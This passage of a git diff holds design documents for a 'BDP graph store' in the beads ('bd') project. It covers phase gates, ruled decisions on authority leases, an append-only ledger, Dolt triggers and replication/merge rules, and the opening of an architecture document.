wildcard contract checks. | +| Erased-problem boundary — P0 wire owner | Same P0 successor adoption | Satisfied at the §0 `19923f5b` adoption. On subsequent repins: port #27's narrow `resource-erased` pointer prohibition with focused Go boundary checks, preserving harmless RFC 9457 extensions. | +| Response negotiation — P0 wire / P2 serving owners | Reviewed materialization of the shared HTTP ACK; P0 captures the contract, P2 serves it | Body-less 406 for unsupported response media and its normal failure/auth non-disclosure precedence are represented and tested at the Go HTTP boundary before current serving claims. | +| Applicable conditionals — P0 wire / P2 serving owners | Same reviewed HTTP materialization; apply only to the endpoints/profiles that use it | Preserve the selected native body-less 304/412 behavior, validation precedence and normal response metadata; do not substitute a BDP revision conflict. Prove the Read endpoint behavior at the public boundary; receipt/feed validator policy belongs to its P3 profile. | +| Read execution — P2 serving owner | Above applicable P0 contracts and the re-pinned Read matrix | Fresh applicable Go public-boundary observations, provenance-labelled in-process rows and the beads-owned cross-request cursor check; old P0 probes are not successor observations. | +| Selected write profile — P3 owner | Reviewed §0 write pin and P3 delta ADR | Adopt applicable admission, results and recovery contracts and approved HTTP successors; prove the selected profile's executable conformance and beads-owned exits. RU does not wait for TX-only receipts, Events or erasure-feed implementation. | + +A contracts-only P0 may land with the adopted §0 wire pin after its hosted +review and landing gates. The later completion owners remain explicit: +current-serving contract claims wait for the applicable remaining P0 rows; +Read serving claims also wait for P2. Neither requires all TX runtime or Jim's +remaining phases. A future Issue/History integration still needs its §0a +translation proofs; no new interface, table, capability or upstream merge +permission is selected by assigning these gates. + +## 8. Related workstreams (operator direction 2026-09-02) + +This plan covers the graph store and its Read serving. Sibling workstreams, +each owning its own writeup: + +- **W-arch** — `BDP_GRAPH_ARCHITECTURE.md` and + `BDP_GRAPH_CLI_AND_STORAGE_SPEC.md` (v17, 2026-09-12; v16: 2026-09-10; v15: 2026-09-09; + v14: 2026-09-02), eight council rounds with live Dolt probes; A1–A9 and + decisions 13–14 ruled 2026-09-07, with A10 ruled 2026-09-08 and recorded + in §9. + Preceded P0 code; P0 is open. +- **W1** — flesh out the **Update and Transactional profiles** of BDP and + the reference implementations (the protocol is Read-heavy today); this is + the upstream gate for P3 writes. +- **W2** — `bd --graph-mode link serve` / `bd serve` integration (as ruled 2026-09-07, + A2: one server, a conditional BDP route table): decide whether the + strict alias survives, whether BDP rows contribute a capability token, + and whether the current HTTP surface moves; nothing to fold in. +- **W3** — **inventory of bead types and generation of Bead/Link Types** — + in the beads repo, not bdp; feeds the descriptor store's bootstrap + catalog (§4). + +## 8a. Process + +All work on `feat/bead-graph`; slices land by PR with adversarial +convergence; the feature branch merges to main only at phase exits behind a +differential gate proving same-version legacy behavior unchanged. Spec +changes go to gastownhall/bdp first — this plan's §0 pin is the enforcement +of that. + +## 9. Decisions requested from Donna (the P-1 list) + +1. **Charter — RULED (2026-09-02): core.** The charter amendment FOLLOWS + working bits (the maintainers' own precedent: the charter file changes + when implementation lands). Its scope: *the bead graph expands to + include non-work-tracking information* (wisps being the existing + example) — a generalization of what beads already is, not a second + product surface. +2. **Substrate — RULED: S1** (graph tables: beads, links, Type + Descriptors, allocation/tombstone ledger, authority marker). +3. **Allocation/tombstone ledger — RULED:** append-only allocation record + per committed canonical ID (URL, birth authority id, epoch, + tombstoned-at), consulted before every create and by restore; + condition accepted as a contract obligation — the ID test is a keyed + point lookup, O(1)/O(log n), never a scan. (Namespace-vs-issue-grammar + and legacy-ID eligibility move to the C lane with the projection.) +4. *(Moved to the C lane — cross-realization Links cannot arise in v0; + see §5's historical record.)* +5. **Projection withdrawal — RULED: ratified.** The v0 Scope serves graph + beads and links only; Issues, Dependencies, and wisps keep their + existing surfaces and join via the C lane (wisps inherit every Issue + counterexample — they are plane-routed Issues). +6. **Wisps — RULED:** moot for v0 serving; recorded as a C-lane + *visibility* decision (wisps are private/transient by default today, so + their eventual graph entry needs a visibility ruling, not just plane + routing). +7a. **Scope URL scheme — RULED:** mirror BDP's pinned startup contract. + An explicit `bdp.scope_url` (`BDP_SCOPE_URL`) is required to serve a + real Scope; a `local-test` URL derived from the listener is permitted + only under an explicit development mode and is never persisted as + identity; the URL is persisted in the graph store beside the authority + marker; never derived from a git remote or workspace path; one Scope + per workspace, path-distinguished under one host. +7b. **Listener — RULED (amended 2026-09-07, A2):** same listener, same + table-driven middleware path; BDP routes are a conditional second route + table inside `internal/httpapi` behind the same `route()` wrapper, so + bearer-auth and project-identity semantics are preserved by construction; + among serving commands, only `bd --graph-mode link serve` mints, and `bd serve` never refuses on + account of the graph. v0 authorization-view mapping: one view per bearer + token = the whole Scope (no hidden Resources) — honest and conformant + until real views exist; federation/multi-view later changes the + mapping, not the listener. +8. **Journal/changefeed — RULED:** frozen v0 journal untouched; the graph + store gets its own changefeed as a contract capability arriving with + P3 writes (providers with a native event log realize it over that). +9. **Serving authority — RULED (corrected model):** the authority is the + graph store *as reached through the normalized storage abstraction*, + whichever provider realizes it — not `bd serve`, and not Dolt. The + authority marker (Scope URL + authority id, minted on first serve by + `bd --graph-mode link serve` under a configured URL — ruling 12 as + amended by A2; A10 separately permits local solo minting), + single-serialized history, non-authority refusal (of graph writes AND + BDP serving for that URL), and **single-transaction operations under a + store-asserted authority witness** (A1, ruled 2026-09-07; the snapshot + lease is withdrawn as a mechanism — cross-request continuation is P2's + cursor ADR) are graph-CONTRACT obligations proven by the graph + conformance suite; the CLI graph verbs + and the BDP handler are both clients of that abstraction, so they are + one authority on any provider. Dolt is the in-tree reference + realization. Promotion is explicit and epoch-rotating; **in v0 a Scope's + authority is a shared database that minted it**, except A10's embedded + solo topology (A9 ruled 2026-09-07, amended by A10 on 2026-09-08): + replication, restore, and copy confer nothing; promotion in place is a + self-regrant or an operator's explicit steal; a new database takes a new + Scope URL; the shared-database fence is the lease of A7. Consequence: the + graph is single-authority while Issues stay multi-clone-mergeable — + graph writes on a non-authority instance refuse with a typed error. + Replica *reads* from a non-authority instance are deferred until BDP + defines replica labeling (candidate note for gastownhall/beads#6051). +10. *(Absorbed into decision 5 — the round-5 review closed this fork: + withholding is the only conformant option.)* +11. **Restore vs identity — RULED: both, layered.** The ledger is + append-only and restorable independently of state (older state + + current ledger preserves non-reuse); providers declare whether their + ledger survives restore; when preservation cannot be guaranteed, + `bd --graph-mode link restore` (spelling per A3) rotates the Scope URL and + epoch and refuses the old URL. An epoch change alone is never + sufficient. +12. **Store, Scope, client — RULED (replaces "empty-at-birth"):** three + commands, three responsibilities (§4 "Lifecycle commands"). `bd init` + initializes the graph store with everything else, against the + interfaces — no separate graph init. `bd --graph-mode link serve` + creates the Scope on first serve under a configured URL (A2), and + serves it honestly empty; `bd serve` only mounts an already-minted + held Scope and never mints. No URL → no BDP routes. A10 separately + permits local solo minting and verbs, with no embedded HTTP serving. A + client-wiring is `bd init --bdp-server ` — one more `bd init` + target, distinguished by rerouting ABOVE the storage abstraction (at + the CLI) rather than below it (§4 "Lifecycle commands"); after it, the + CLI's graph verbs speak BDP to the designated server. Tests prove Issues never leak into graph inventories; + a provider implementing the six accessor stubs without the capability + keeps existing `bd serve` behavior — routes absent, never a startup + failure (A8, ruled 2026-09-07). + +13. **Out-of-role DML enforcement boundary — RULED (2026-09-07): "A+B".** + Out-of-role DML — `bd sql` in both modes, raw SQL clients, force-push, + and merges — is out of contract. The state-change validator refuses + invalid or foreign-authority graph state on every observed + state-version change; for the ledger-covered tables (descriptors, + allocations, the ledger itself) the delta must be explained by ledger + events since the recorded head, and bead and link bodies are checked + by row provenance (`last_authority_id`/`last_epoch`). The eight + replicated graph tables carry `BEFORE INSERT/UPDATE/DELETE` triggers, + installed by the graph migrations, that refuse a row unless the session + set the role variable `@bd_graph_role`; every graphops mutation sets it + inside its transaction and clears it before `COMMIT` or `ROLLBACK`. + The fence stops accidents, not holders of database credentials; a + DB-privilege boundary (two SQL users) is a C-lane task. Merges belong + to ruling 14. Probed on Dolt 2.1.8: the trigger shape parses (in + `BEGIN … END` form) and fires (errno 1644); a session variable gates + it; a transaction that commits without clearing leaves the pooled + connection unfenced, one that clears does not; the triggers replicate + through `dolt_schemas` by push, clone, and pull; they are silent on + `DOLT_MERGE` and `DOLT_PULL`; one multi-statement `Exec` of a migration + file creates them over the tree's DSN; privileges live in + `.doltcfg/privileges.db` per installation and never replicate. Three + P0 verification rows gate the fence (§7); if one fails, v0 ships the + validator alone and this ruling records it. **Answered 2026-09-07:** + (i) PASS — the embedded leg creates and fires the triggers; (ii) + PASS-WITH-RULE — a transaction cancelled between statements is pooled + with the variable set on both server legs, so the deferred clear runs + on `context.WithoutCancel` and poisons the connection when it cannot be + confirmed; (iii) PASS-WITH-RULE — the CLI migration bundle needs a + `DELIMITER` rendition, check D and `doltIgnorePatterns` must learn the + lease table, and a dirty `dolt_schemas` is refused late. The fence + ships. **Ruled 2026-09-08 (Part D.7 = A):** the validator and ruling 14's + inspection set carry a fence census over `dolt_schemas` — each of the + eight replicated tables must carry its three triggers; a missing one is + repaired with the migration's idempotent `DROP TRIGGER IF EXISTS` + + `CREATE TRIGGER` pair before a delta is judged, and the census never + changes the graph-state version. No new `bd sql` flag: the + deliberate override is a proxied-mode batch that sets the variable + first, or a raw client session. Option A alone (validator only), C + (two SQL users in v0), and D (a `bd sql` statement guard) were the + alternatives; C stays a C-lane task, D is redundant under B. + +14. **Replication/merge ADR — RULED (2026-09-07): option B, the gate plus + a four-law charter.** The ADR gates the graph migrations (P1) and is + council-reviewed before they merge; it writes mechanism and conformance + rows under these laws. (1) **Fetch, inspect, merge.** Every SQL pull + route fetches, inspects the eight replicated tables between HEAD and + the remote-tracking ref (`dolt_diff('HEAD', 'remotes//', + '
')`), and refuses before merging when the delta is + foreign-authority or unexplained by ledger events; routes that cannot + inspect first — the CLI-subprocess pull, a merge that already landed, + restore, force-push — fall to the state-change validator, which reverts + the eight tables to their state at the recorded HEAD in a new commit + when that HEAD is an ancestor (the hazard-R undo shape: table-scoped, + later commits preserved) and marks the witness `unverified` otherwise. + (2) **No graph-table conflict is ever auto-resolved**, `--strategy + ours|theirs` never touches a graph table, and the pull is refused + naming the table; the remedies are the link-mode verbs (rotate, steal, + restore), not conflict resolution. (3) **A foreign graph delta is + refused whole**; graph tables are never merged cell by cell; the later + of two mints under one URL adopts the earlier by an explicit verb the + ADR names (the A9 interim "earlier mint wins" becomes that verb). + (4) **A workspace without a witness takes the remote's graph state + wholesale** — its graph tables are a replica — and refuses to mint + until rotated or stolen (A9). Federation carries the graph tables + unfiltered in v0. The entry points the ADR must cover are every + `DOLT_PULL`/`DOLT_MERGE` route: the SQL pull route + (`pullWithAutoResolveUnchecked`), the CLI-subprocess pull, federation + peer pulls on both routes, the UOW leg's `Pull`, `bd vc merge` + (`MergeWithStrategy`), the remote-migrate gate's `--ff-only` adopt, and + `ForcePush`. Probed on Dolt 2.1.8: `DOLT_PULL` inside a transaction + commits the merge immediately — fast-forward and no-conflict three-way + alike — and `ROLLBACK` does not undo it (only a conflicted merge stays + in the working set, which is what the tree's rollback-on-conflict + relies on); after `DOLT_FETCH`, `dolt_diff` against the tracking ref + enumerates the incoming rows before any merge. Tree facts the ADR + inherits: `TryAutoResolveMergeConflicts` resolves only `metadata`, + audit-only `dependencies`, `issues` (field-level three-way), `labels`, + `comments`, and `events` — a conflict on any other table already fails + the pull; the SQL pull route merges into the default branch (be-5ybd), + where the graph tables and the lease live. Options A (gate only, + content open), C (post-hoc validator only), and D (gate at P2/P3) + rejected. The ADR is P1's first deliverable: + `engdocs/BDP_GRAPH_REPLICATION_ADR.md`. + +### Amendments ruled (A1–A9: 2026-09-07; A10: 2026-09-08) — the interview record + +Raised by eight three-reviewer councils on the W-arch docs and ruled one +decision at a time on 2026-09-07. The normative text above (rulings 7b, 9, +11, 12; §3; §4 lifecycle) now reads as amended; this block is the record. + +- **A1 (ruling 9).** "Single-transaction operations under a store-asserted + authority witness" replaces "the snapshot lease": the accessor loads this + workspace's witness (a clone-local file) and the body asserts it inside + its transaction — Scope row identity, hash-chained ledger head, the lease + (a read requires an unexpired lease and never writes it; a mutation must + UPDATE it and see one affected row), and the graph-state version. No + request type carries authority fields. The cursor is opaque from P1; + cross-request continuation is P2's cursor ADR; no collection routes ship + before it. +- **A2 (rulings 7b, 12).** BDP routes are a conditional second table inside + `internal/httpapi` behind the same middleware, served from the + unit-of-work leg. Only `bd --graph-mode link serve` mints, through the + staged startup; it inherits serve's whole-surface `--readonly` refusal + and refuses without a held Scope. `bd serve` mounts the rows when it + holds an already-minted Scope, converts every graph failure into "rows + absent + notice", and never refuses on account of the graph. Intra-Scope + references are stored Scope-relative and rendered against the live Scope + row; serving under a different base URL is a rotation, never a remount. +- **A3 (ruling 12 / §4 lifecycle).** Graph behavior is selected by the root + flag `--graph-mode link` (default `dependency`; `BD_GRAPH_MODE`; config + `graph-mode`), never by a verb prefix. The mode names the graph by its + edge kind; every verb creates, reads, or serves the selected graph or + refuses; `bd link` creates the selected graph's edge; without the flag + every verb is byte-identical to today. The root store policy keys on mode + and command path and is authoritative at every leaf-name call site. +- **A4 (§3 layering).** Values, laws, and roles live in public `graphops`; + accessors are named `BeadGraph*`; no `backend/` aliases. +- **A5 (ruling 11).** The clone-local half is `.beads/graph-authority.local.json`, + bound to an installation key, written under a bounded exclusive lock with + multi-phase transitions recovered by evidence; the ledger is an + append-only, hash-chained event table with a nonced sequence counter; the + witness records the head; no event exists before mint; the ledger lane + restores anti-reuse history only; providers declare `LedgerDurability`; + restore rotates unless continuity is shown. Residuals stated. The + retained-versions shape Memory needs is the History lane's (bdp#1). The + History lane's first laws are now ruled there (2026-09-08): a + version-addressed read is complete or a typed refusal — Unretained is a + refusal naming the missing fields, never a member inside a record — and + ownership over an open vocabulary is the `"*"` entry in `ownsOutgoing`; the + graph plane's own history reads, when they come, follow both. +- **A6 (§4 lifecycle, 7a env).** `bdp.scope_url` is a project fact in + tracked `config.yaml` (`BDP_SCOPE_URL` first), refused by `config set` + once a witness is held; `link-graph.route`, `bdp.server`, and + `bdp.insecure_http` live in untracked `config.local.yaml`, written by + `bd init --bdp-server` and the link-mode `client` verb; tokens from files + only; nothing in `metadata.json`; precedence env, then local, then + tracked, with the route blocked from env. +- **A7 (ruling 9, promotion) — the shared-database half.** A dolt-ignored + lease row bound to Scope and authority whose every write rewrites a + random fence cell and predicates on the value it read (probe-confirmed + on Dolt 2.1.8, which merges transactions cell by cell); reads never write + it and require an unexpired lease; an expired lease naming this workspace + self-regrants; a foreign holder is replaced only by an explicit + `--steal`; fenced transactions beside a live server carry a deadline + below a third of the TTL; `promote` and `rotate` run beside the server, + `types install`, `restore`, and `ledger apply` take the exclusive gate. + The remote half (publication primitive, remote-read freshness, + publication recovery) is deferred to the write-profile ADR under A9. +- **A9 (ruling 9).** v0 authority requires a shared database. The topology + matrix: a shared database that minted locally is authoritative regardless + of any configured remote; one that received the Scope row by replication, + restore, or copy refuses until rotated or explicitly stolen; embedded and + registered-backend workspaces refuse local authority operations and exist + as client hosts; a remote neither grants nor removes authority; two + shared databases minting under one tracked URL are settled by the + replication ADR (interim: the earlier mint wins). **Amended 2026-09-08 + (solo topology, ruled B — A10 below):** an embedded workspace with no + configured remote and no server is its own authority. + +- **A8 (§1 constraint #1; ruling 12) — option A.** Constraint #1 is + scoped to *behavior*: every in-tree topology and existing workspace is + byte-identical in gate output; out-of-tree `backend/` implementers take + the source break the storage interface already declares (six one-line + `ErrUnsupported` stubs, CHANGELOG call-out with the stub migration). The + compiler catches direct implementers; a required method promotes silently + through every wrapper that embeds the interface, so the three reflection + censuses stay mandatory. Option B (an optional capability interface with + explicit wrapper implementations, a capability census, and resolvers) + rejected. + +- **A10 (ruling 9; amends A9) — solo topology, RULED 2026-09-08: B.** An + embedded workspace with no configured remote and no server mints a local + Scope, holds a witness and a lease satisfied by the workspace gate (the + fence has nothing to fence: one process holds an embedded store), serves + nothing (`bd serve` still refuses embedded Dolt), and answers every + link-mode verb locally. It becomes a client host the moment a shared + database or remote appears, under the rotation and steal rules; a solo + store later pushed to a remote is "minted locally" for the replication + ADR — authoritative until a foreign delta appears. The embedded leg wires + the full read contract for the solo topology and the refusal contract for + client hosts. Raised by Steph's adoption harness (sjarmak/mem), which runs + bd embedded with one isolated store per trial; without this row the + post-P3 memory projection would have no local graph on any laptop. + Options A (defer to the P3 packet) and C (require a local server) + rejected. Epoch spelling confirmed the same day (`authority_epoch`, + `last_authority_epoch`, `birth_authority_epoch` at P1). diff --git a/engdocs/BDP_GRAPH_ARCHITECTURE.md b/engdocs/BDP_GRAPH_ARCHITECTURE.md new file mode 100644 index 000000000..9a6f71a7d --- /dev/null +++ b/engdocs/BDP_GRAPH_ARCHITECTURE.md @@ -0,0 +1,422 @@ +# BDP graph store — architecture and design + +**Status:** Draft v17 (W-arch) — A1–A9 and decisions D1–D2 (plan rulings 13–14) ruled 2026-09-07; A10 ruled 2026-09-08; P0 current-wire completion open — feat/bead-graph +**Date:** 2026-09-12 (v16: 2026-09-10; v15: 2026-09-09; v14: 2026-09-02) +**Companion:** `BDP_BEAD_GRAPH_PLAN.md` (the plan and its rulings, 1–14) and +`BDP_GRAPH_CLI_AND_STORAGE_SPEC.md` (the detailed CLI and storage-interface +changes). This document is the *shape*: what the pieces are, where they live, +how a request flows, and where this design corrects the plan after the +tree's own conventions were read closely. Eight three-reviewer councils +(Claude, Codex, Gemini) reviewed v1–v9; §2 records what changed and which +changes amend a ruling rather than a mechanism. Rounds 3–5 converged on one +area — the authority mechanism — and every round since v3 has replaced an +invented primitive with one the tree already has. v6 added the +operator's **simplification ruling (A9)**; v9 states its arbiter honestly: +physical database copies are an operator-managed hazard, not a fenced one. + +Revision v15: 2026-09-09 current-source alignment and council corrections; +phase/owner gates and pinned-source clarity added, historical rulings preserved. +Revision v16: 2026-09-10 formal-review correction carries the already-ruled A10 +into §2b and refreshes current dependency status. It does not clear the +reviewer/owner merge gate. + +Revision v17: 2026-09-12 records the P0 Read adoption and merged BDP +Transactional/History dependencies consistently with the owning plan; no new +contract pin, migration slot or runtime capability is selected. + + + +## Current dependency alignment (2026-09-09, refreshed 2026-09-12) + +[Plan §0a](BDP_BEAD_GRAPH_PLAN.md#0a-current-bdp-and-versioned-beads-alignment-2026-09-09) +contains the historical source records and the 2026-09-12 current refresh: +BDP #19/#20 and History #30 wire/spec are merged; Jim's Phase 1 is merged +and Phase 0/2 remain open. History realization and provider mapping remain +separate from the completed upstream normative materialization. The role split remains: graphops is the +graph domain, Jim's writer owns Issue history, and BDP wire DTOs own protocol +representations. No Issue projection or C-lane substrate change is selected. + +The graph authority lease is not TX's receipt execution/creator-attempt fence; +the graph anti-reuse ledger is not the projected erasure ledger; an Issue +ordinal is neither a graph revision nor a durable History address. P3 must +compose its durable admission/effects/outcomes under the upstream profile +contract. A future History provider must translate context, numeric values, +retained identity and erasure provenance explicitly. These obligations do +not add Writer or History methods to the existing P0 interface sketch. +The P3 ADR audits storage/interface deltas and their migration, state-version, +fence, replication-inspection and census implications under plan §0a. The +initial eight-table P1 scope does not prescribe future tables or another +accessor widening; any necessary addition honors frozen migrations and A8's +source-break policy. P1 need not await the full P3 design. + +P0 adopted the Read foundation at `19923f5bb6cc3f4ee4c508e36df3bd4c5c52344b`; +plan §0 records its exact pins and dated contract checks, including the narrow +erased-pointer port. The original pin and tests remain historical. Later +wire adoption and applicable successor checks remain explicit gates. [Plan §7's owner gates](BDP_BEAD_GRAPH_PLAN.md#current-wire-and-profile-adoption-gates-2026-09-09) +assign P0 contract/parity work and P2 serving proof, including shared response +negotiation and applicable conditionals. P3 separately records its reviewed +write-profile pin and evidence exit; RU need not await TX-only runtime. +This alignment does not claim that all upstream drafts have +merged or that graph/P0 implements their runtime behavior. + +## 1. The one-paragraph version + +The graph store is a new **plane** beside issues and memories: a public leaf +contract package (`graphops`) declaring the value types, the laws, and six +role interfaces, reached through **role accessors on `storage.Storage`** +(`BeadGraph*`, to keep clear of the issue-graph `GraphCounter()`) exactly as +`issueops` and `memoryops` are — declared explicitly by every decorator +(promotion is the failure mode the censuses catch), wrapped by telemetry, +recursed unwrapped by the hook layer — with one shared transaction-level +body under `internal/storage` taking a `DBTX`-shaped runner so that both +Dolt stores *and* the unit-of-work leg call the same code, proven by +`backend/conformance` role contracts wired on all three legs and guarded by +the existing coverage gates. BDP is served by the existing +`internal/httpapi` server as a **conditional second route table** behind the +same `route()` middleware — in v0 **only from SQL-server workspaces** (the +unit-of-work leg; `bd serve` refuses embedded Dolt permanently, and a +registered backend's store arm has no fence to offer until it declares +one). `bd --graph-mode link serve` is the strict command over that server: it mints and +it requires a Scope this workspace holds; `bd serve` mounts the same rows +when it holds an already-minted Scope and never refuses on account of the +graph. Every operation is **one role call, one transaction**, asserting a +**store-owned authority witness** — loaded by the accessor from a +clone-local file bound to this installation, checked against a hash-chained +ledger head and, on the shared-database leg, a lease row the mutation itself +must update. The store refuses a clone without local authority, a restore whose +head is absent from the witness, and a promotion elsewhere; no caller can +supply the witness. Copies carrying coherent local state are an operator-managed +hazard, including a solo store copy; the store cannot infer their provenance. +A shared database is fenced by that +lease. Under A9, a configured remote neither grants nor removes authority; +hazard R's publication mechanism is deferred to the write-profile ADR. A +shared database that minted locally remains authoritative with a remote. +The A10 exception is an embedded workspace with no remote and no server: it has local authority and +local link-mode verbs, but serves no HTTP. Its workspace gate satisfies the +solo lease; appearance of a shared database or remote makes it a client host +under the existing rotation and steal rules. A10 also preserves the replication +case: a solo store later pushed to a remote counts as minted locally and remains +authoritative until a foreign delta appears. The full A10 row governs both cases. + +## 2. Corrections to the plan and ruled amendments (read this first) + +Two kinds of change are recorded here and must not be confused. A +**mechanism correction** replaces something the plan's §4 *proposed* with +the house idiom that already solves the problem; the ruling it serves is +unchanged. A **ruling amendment** changes text the operator ratified in §9; +the amendments below are recorded outcomes, with their ruling dates. They +are no longer proposals; an implementation gate is not a pending ruling. + +### 2a. Mechanism corrections (no ruling changes) + +| Plan §4 mechanism | Replaced by | Why | +| --- | --- | --- | +| `GraphCapable` as a *separate optional interface*, resolved by targeted decorator peels (`graphsource` package) | **Role accessors on `storage.Storage`** — the house rule — under ruled A8 option A; option B was rejected | Every accessor lives on `Storage` (28 today); `DoltStorage` embeds it; both decorators embed the `DoltStorage` *interface*. A method added to `Storage` is therefore **promoted through the embedded interface**: every wrapper compiles unchanged — which is exactly why the reflection census in `role_accessor_decorator_test.go` (and its telemetry twin) exists: wrappers must **declare** each accessor, and the census catches the ones that silently promote. | +| A `ResolveGraphReadSource` policy that "re-applies telemetry" after peeling | Nothing — **the accessors carry the layers** | This is what accessors are *for* in this tree. | +| `backend/types.go` aliases for every `graphops` type | **No aliases.** `graphops` is a public root package, like `issueops` | The completeness guard demands aliases only for types under `internal/`. | +| `internal/graphapi` as a separate meaning-function package | **The laws live in `graphops`** | Import rule and cycle. | +| A `ReadSnapshot` handed from a resolver to a handler; a caller-supplied expectation (v2/v3) | **One role call, one transaction, asserting a store-owned witness** (A1) | A witness the *caller* supplies is forgeable from the replicated rows. | +| `SELECT … FOR UPDATE` on the Scope row to serialize the ledger (v4); a bare `next = next + 1` counter (v5–v6) | **A single-row counter whose every allocation writes a fresh random cell** (`next_seq = next_seq + 1, alloc_nonce = `) — the journal's `bd_events_seq` shape, corrected | Dolt has no row locks (`FOR UPDATE` is a parse-only no-op) **and merges concurrent transactions cell by cell**: two sessions each doing `next = next + 1` from the same value both commit and the counter reads one increment (probed on 2.1.8). Only a same-cell-*different-value* write is a serialization failure (`1213`) that `withRetryTx`/`RunTxResult` replay; the random cell makes every allocation one. The events PK is the second guard, and it too converges silently on byte-identical rows — the nonce makes rows differ. The journal's own prose carries the misconception; its PK plus duplicate-key heal is what actually guards it. `next` is reserved in Dolt's parser. | +| `DOLT_RESET --hard` to undo a refused publication (v4–v5) | **`DOLT_RESET --soft `, then per graph table `DOLT_RESET('
')` (unstage) and `DOLT_CHECKOUT('
')`** when HEAD is still the operation commit; **`DOLT_REVERT `** when HEAD has moved; the ignored lease restored on either path under the same-holder guard | A hard reset discards unrelated dirty work on a shared server; a bare checkout after a soft reset restores from the *staged* root and reverts nothing (probed), the unstage step makes it revert only the graph tables; a revert preserves later commits from other actors. | + +### 2b. Ruling amendments A1–A10 and decisions D1–D2 (ruled 2026-09-07 and 2026-09-08) + +| # | Ruling | Earlier drafts said | Ruled outcome (A1–A9: 2026-09-07; A10: 2026-09-08) | Evidence | +| --- | --- | --- | --- | --- | +| A1 | **9** ("the snapshot lease" in the obligation list) | dropped silently (v1); caller-supplied expectation (v2–v3) | **RULED.** **The per-call transaction is the v0 lease and asserts a store-owned authority witness:** the accessor loads the witness from the clone-local file and the body checks it *inside the same transaction* — Scope row identity, the hash-chained ledger head (exact-prefix identity), the lease row (a protected read `SELECT`s it inside the read transaction and checks holder, epoch, **and `expires_at > NOW(6)`** — a holder/epoch match alone proves only that no takeover was visible in the snapshot, not that the lease is live; **reads never write the lease**: on the serving leg the watcher renews and a near-expiry read fails closed as `lost`; a CLI read whose lease names this workspace but has expired regrants **once, ephemerally, before opening a fresh read transaction** and retries; the read's context deadline is derived from the remaining lease interval and is below it; a mutation `UPDATE`s it and requires one affected row, with the holder's installation key, epoch, **and the `fence` cell value read in this transaction** in the predicate, and **sets `fence` to a fresh random value and `expires_at = NOW(6) + ttl`** — every lease write does, so any two concurrent lease writers are a same-cell-different-value conflict Dolt reports as `1213` (probed on both the versioned and the ephemeral commit paths); the loser is replayed with a fresh random fence and **re-evaluates its preconditions**: a still-authorized writer then succeeds serially, a superseded or stolen one matches zero rows and refuses. An expired lease that still names this workspace is **self-regranted** by the same write — promotion is needed only when the holder or the epoch differ), and the graph-state version (the ordered per-table hashes of the eight replicated graph tables). Public request types carry **no** authority fields. The cursor type is opaque from P1. | Rounds 1, 3, 4, 5. | +| A2 | **7b + 12** (listener; "`bd serve` creates the Scope on first serve") | a sibling server (v1); `bd serve` mints (v2–v4) | **RULED.** **BDP rows mount inside `internal/httpapi`** as a conditional second route table behind the same `route()`. **Of the serving commands, only `bd --graph-mode link serve` mints** (A10 separately permits local solo minting), through the **one staged startup sequence** in the spec's Part A (shared gate → temporary source reads the Scope row → close → release → only when there is no Scope row: exclusive gate → reopen, re-check, mint → close → release → shared gate → serving source → re-evaluate the identity table under it → serve; the tree forbids a shared→exclusive upgrade, and the conformance case asserts the shared gate is released before the exclusive acquisition). `bd --graph-mode link serve` inherits `errServeReadonly` and refuses without a held Scope; **`bd serve` converts every graph failure into "rows absent + notice"** and is byte-identical without a URL. **v0 serves BDP only from SQL-server workspaces** (the unit-of-work leg): embedded Dolt never serves, and a **registered backend's store arm** — which may itself be embedded — has no fence, so its rows are absent in v0; an out-of-tree backend cannot import an `internal/` capability, so the seam it would declare is the deferred ADR's to define (a public interface or an in-tree adapter), not `graphcap`'s. **Intra-Scope references are stored Scope-relative and rendered against the live Scope row, never as absolute URLs, so a remount rewrites nothing; a server started under a base URL that differs from the persisted Scope URL refuses — serving under a new base is a rotation, never a remount** (operator, 2026-09-07). | Rounds 2–5. | +| A3 | **12** / §4 lifecycle | verbs "reserved now"; then a link mode prefix | **RULED.** Graph behavior is selected by the root flag **`--graph-mode link`** (default `dependency`; `BD_GRAPH_MODE`; config `graph-mode`), never by a verb prefix. The mode names the graph by its edge kind: every verb creates, reads, or serves the selected graph or refuses; `bd link` creates the selected graph's edge; without the flag every verb is byte-identical to today. The root store policy keys on mode and command path and is authoritative at every leaf-name call site (paired Cobra-walk and source-scan tests). | `bd link`, `bd graph`, `bd restore`, `bd promote` exist; a verb prefix named the protocol, not the graph (operator). | +| A4 | §3 layering | values moved silently | **RULED.** **Record it:** values, laws, and roles in public `graphops`; accessors named `BeadGraph*`. | Package layout is public API. | +| A5 | **11** (ledger "restorable independently … its own migration") | dolt-ignored table (v2); project-id file (v3); hostname key (v4) | **RULED.** **(i) The clone-local half is `.beads/graph-authority.local.json`**, bound to an **installation key**: a random id created once, `O_EXCL`, mode 0600, re-read after creation, directory fsynced, in the user config directory the tree's `UserConfigYamlPath` resolver already chooses (`~/.config/bd`, native fallback) — plus the canonical `.beads` path; never the hostname. Written only by the witness manager under a bounded exclusive lock; **transitions are multi-phase** (`begun → local_committed → published → config_written → finalized`, recording a **durable operation id** — a hash-covered, indexed `op_id` column on every ledger event, and the commit message — the pre-operation HEAD and ledger head, the operation commit, the expected graph roots, the remote pre-head, the pre-operation lease row, and the config intent), recovered on the next load by **evidence, not by phase alone**: the ledger is checked for the operation id (a crash between the commit and the phase write leaves `begun` with the operation committed), then the remote is classified as {still at the pre-head, contains this operation, contains foreign work}, and recovery resumes publication, finalizes, or undoes accordingly; on a shared database with no remote a locally committed transition counts as published, **executes any outstanding `config_intent`**, records `config_written`, and only then finalizes. An **undo is itself phased** (`undo_started → versioned_undone → lease_restored`) and resumes from its recorded phase regardless of whether the operation still appears in the ledger; in-process renewal and graph mutation pause for its duration; the lease is restored **only on the reset path and only if it still names this workspace**. `Advance` is a **descendant-aware compare-and-advance** that holds the file lock while a **provider-supplied verifier** (ledger-prefix and commit-ancestry checks, run in the store) decides: a candidate already contained in the current witness is a successful no-op, newer fields are never replaced by older ones, and a fork is rejected — commits may complete in one order and advance in another; opaque hashes alone cannot decide this, so the manager never tries to. The manager ensures the ignore entries and refuses a git-tracked path; a tracked witness is an **error-class** doctor finding (`sensitiveFileNames`). **(ii) The ledger is an append-only, hash-chained event table** (`mint`, `install`, `update`, `promote`, `rotate`, `allocate`, `tombstone`, `refuse_url`) with a single-row counter; the witness records the head `{seq, hash}`. **No event exists before mint.** The ledger lane (`bd --graph-mode link ledger snapshot|apply`) restores **anti-reuse history, not graph content**: an applied `allocate` whose row is absent becomes a `reserved` allocation (never reusable; reads answer gone), the Scope lineage is replayed, and the counter is set to `last_seq + 1`; full recovery is a 